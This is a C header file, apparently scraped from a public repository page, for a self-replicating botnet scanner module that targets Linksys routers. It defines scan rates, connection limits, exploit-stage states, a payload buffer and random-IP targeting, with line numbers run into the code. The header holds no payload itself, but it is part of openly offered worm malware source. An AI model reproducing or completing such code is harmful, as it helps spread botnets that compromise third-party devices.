Path: blob/master/Botnets/Self Reps/LinkSys/linksys.h
5038 views
#ifdef SELFREP1#pragma once23#include <stdint.h>4#include "includes.h"56#ifdef X86_647#define linksys_SCANNER_MAX_CONNS 5128#define linksys_SCANNER_RAW_PPS 14409#else10#define linksys_SCANNER_MAX_CONNS 25611#define linksys_SCANNER_RAW_PPS 102412#endif1314#ifdef X86_6415#define linksys_SCANNER_RDBUF_SIZE 102416#define linksys_SCANNER_HACK_DRAIN 6417#else18#define linksys_SCANNER_RDBUF_SIZE 102419#define linksys_SCANNER_HACK_DRAIN 6420#endif212223struct linksys_scanner_connection24{25int fd, last_recv;26enum27{28linksys_SC_CLOSED,29linksys_SC_CONNECTING,30linksys_SC_EXPLOIT_STAGE2,31linksys_SC_EXPLOIT_STAGE3,32} state;33ipv4_t dst_addr;34uint16_t dst_port;35int rdbuf_pos;36char rdbuf[linksys_SCANNER_RDBUF_SIZE];37char payload_buf[2024];38};3940void linksys_scanner_init();41void linksys_scanner_kill(void);4243static void linksys_setup_connection(struct linksys_scanner_connection *);44static ipv4_t linksys_get_random_ip(void);4546#endif474849